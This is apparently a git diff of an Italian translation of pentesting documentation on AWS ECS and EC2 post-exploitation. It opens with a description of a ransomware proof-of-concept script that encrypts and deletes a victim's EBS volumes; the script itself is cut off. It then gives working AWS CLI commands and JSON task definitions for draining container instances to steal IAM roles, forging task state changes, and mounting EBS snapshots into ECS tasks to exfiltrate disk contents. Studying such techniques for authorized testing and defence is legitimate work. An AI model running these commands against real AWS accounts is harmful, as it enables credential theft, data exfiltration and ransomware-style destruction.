Questo è lo script python utilizzato. Riceve le AWS creds per un account 'victim' e un valore ARN AWS pubblicamente disponibile per la key da usare per la crittografia. Lo script creerà copie criptate di TUTTI i volumi EBS disponibili allegati a TUTTE le istanze EC2 nell'account AWS target, poi fermerà ogni istanza EC2, staccherà i volumi EBS originali, li eliminerà e infine cancellerà tutti gli snapshot utilizzati durante il processo. Questo lascerà solo volumi EBS crittografati nell'account 'victim' target. USARE QUESTO SCRIPT SOLO IN UN AMBIENTE DI TEST, È DISTRUTTIVO E CANCELLERÀ TUTTI I VOLUMI EBS ORIGINALI. È possibile recuperarli usando la KMS key utilizzata e ripristinarli allo stato originale tramite snapshot, ma vogliamo solo farti sapere che, alla fine, si tratta di un ransomware PoC.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -584,6 +622,8 @@ main()
|
||||
```
|
||||
## Riferimenti
|
||||
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
- [Latacora - ECS on EC2: Colmare le lacune in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
|
||||
- [Pentest Partners – Come trasferire file in AWS usando SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,41 +4,41 @@
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Host IAM Roles
|
||||
### Ruoli IAM dell'host
|
||||
|
||||
In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
|
||||
Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check:
|
||||
In ECS un **IAM role può essere assegnato al task** in esecuzione all'interno del container. **Se** il task è eseguito su un'istanza **EC2**, l'**EC2 instance** avrà **un altro IAM** role allegato a sé.\
|
||||
Questo significa che se riesci a **compromise** un'istanza ECS puoi potenzialmente **ottenere l'IAM role associato a ECR e all'istanza EC2**. Per maggiori info su come recuperare quelle credenziali consulta:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
|
||||
> IMDSv2 with a hop limit of 1 **does not** block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) for the full attack workflow and bypass notes. Recent [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
Inoltre, EC2 usa docker per eseguire le tasks di ECS, quindi se riesci a evadere verso il node o **access the docker socket**, puoi **verificare** quali **altri containers** sono in esecuzione, ed anche **entrare al loro interno** e **rubare gli IAM roles** ad essi associati.
|
||||
Inoltre, EC2 usa docker per eseguire i task ECS, quindi se riesci a evadere sul nodo o ad **access the docker socket**, puoi **controllare** quali **other containers** sono in esecuzione, e persino **entrare al loro interno** e **steal their IAM roles** allegati.
|
||||
|
||||
#### Making containers run in current host
|
||||
#### Forzare l'esecuzione di container sull'host corrente
|
||||
|
||||
Inoltre, il **EC2 instance role** di solito avrà sufficienti **permissions** per **update the container instance state** delle EC2 instances usate come nodes all'interno del cluster. Un attacker potrebbe modificare lo **state of an instance to DRAINING**, quindi ECS **rimuoverà tutte le tasks da essa** e quelle eseguite come **REPLICA** verranno **eseguite in un'istanza diversa**, potenzialmente all'interno dell'**attacker's instance**, così da poter **rubare i loro IAM roles** e eventuali informazioni sensibili presenti all'interno del container.
|
||||
Inoltre, l'**EC2 instance role** avrà di solito abbastanza **permissions** per **update the container instance state** delle EC2 instance usate come nodi nel cluster. Un attacker potrebbe modificare lo **state of an instance to DRAINING**, quindi ECS **rimuoverà tutti i tasks da essa** e quelli eseguiti come **REPLICA** verranno **run in a different instance,** potenzialmente dentro l'**attackers instance**, permettendogli di **steal their IAM roles** e ottenere informazioni sensibili dall'interno del container.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
La stessa tecnica può essere eseguita anche **deregistering the EC2 instance from the cluster**. Questo è potenzialmente meno stealthy ma **forzerà i tasks a essere eseguiti in altre istanze:**
|
||||
La stessa tecnica può essere fatta **deregistrando l'istanza EC2 dal cluster**. Questo è potenzialmente meno furtivo ma **forzerà i task a essere eseguiti su altre istanze:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Una tecnica finale per forzare la re-esecuzione dei task è indicare a ECS che il **task o container è stato fermato**. Ci sono 3 API potenziali per farlo:
|
||||
Una tecnica finale per forzare la riesecuzione delle task è indicare a ECS che la **task o il container siano stati fermati**. Ci sono 3 API potenziali per farlo:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
@@ -50,40 +50,36 @@ aws ecs submit-container-state-change ...
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Steal sensitive info from ECR containers
|
||||
### Rubare informazioni sensibili dai container ECR
|
||||
|
||||
L'istanza EC2 probabilmente avrà anche il permesso `ecr:GetAuthorizationToken` che le permette di **scaricare immagini** (puoi cercare informazioni sensibili al loro interno).
|
||||
L'istanza EC2 probabilmente avrà anche il permesso `ecr:GetAuthorizationToken`, che le permette di **scaricare immagini** (puoi cercare informazioni sensibili al loro interno).
|
||||
|
||||
|
||||
|
||||
### Montare uno snapshot EBS direttamente in un ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Abusa della integrazione nativa ECS EBS (2024+) per montare il contenuto di uno snapshot EBS esistente direttamente in un nuovo ECS task/service e leggere i dati dall'interno del container.
|
||||
|
||||
|
||||
|
||||
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Abusa dell'integrazione nativa ECS EBS (2024+) per montare il contenuto di uno snapshot EBS esistente direttamente all'interno di un nuovo task/service ECS e leggere i suoi dati dal container.
|
||||
|
||||
- Needs (minimum):
|
||||
- Requisiti minimi:
|
||||
- ecs:RegisterTaskDefinition
|
||||
- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole on:
|
||||
- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles referenced by the task definition
|
||||
- If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
|
||||
- Almeno uno di: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole su:
|
||||
- ECS infrastructure role usato per i volumi (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles referenziati dalla task definition
|
||||
- Se lo snapshot è criptato con una CMK: permessi KMS per il ruolo infra (la AWS managed policy sopra include i grant KMS necessari per le AWS managed keys).
|
||||
|
||||
- Impact: leggere contenuti arbitrari del disco dallo snapshot (es. file di database) all'interno del container ed esfiltrarli tramite rete/log.
|
||||
- Impatto: Leggere contenuti arbitrari del disco dallo snapshot (es. file di database) all'interno del container ed exfiltrate via network/logs.
|
||||
|
||||
Steps (Fargate example):
|
||||
Passaggi (esempio Fargate):
|
||||
|
||||
1) Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
|
||||
1) Crea l'ECS infrastructure role (se non esiste) e allega la managed policy:
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) Registra una task definition con un volume marcato `configuredAtLaunch` e montalo nel container. Esempio (stampa il secret e poi esegue sleep):
|
||||
2) Registra una task definition con un volume contrassegnato `configuredAtLaunch` e montalo nel container. Esempio (stampa il secret e poi esegue sleep):
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
@@ -103,7 +99,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) Crea o aggiorna un service passando lo snapshot EBS tramite `volumeConfigurations.managedEBSVolume` (richiede iam:PassRole sul ruolo dell'infrastruttura). Esempio:
|
||||
3) Creare o aggiornare un servizio passando lo snapshot EBS tramite `volumeConfigurations.managedEBSVolume` (richiede iam:PassRole sul ruolo infra). Esempio:
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
@@ -117,7 +113,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
]
|
||||
}
|
||||
```
|
||||
4) Quando il task si avvia, il container può leggere il contenuto dello snapshot nel mount path configurato (es., `/loot`). Esfiltra tramite la rete/log del task.
|
||||
4) Quando il task si avvia, il container può leggere il contenuto dello snapshot nel percorso di mount configurato (es., `/loot`). Esfiltra tramite la rete e i log del task.
|
||||
|
||||
Pulizia:
|
||||
```bash
|
||||
@@ -125,4 +121,8 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
## Riferimenti
|
||||
|
||||
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user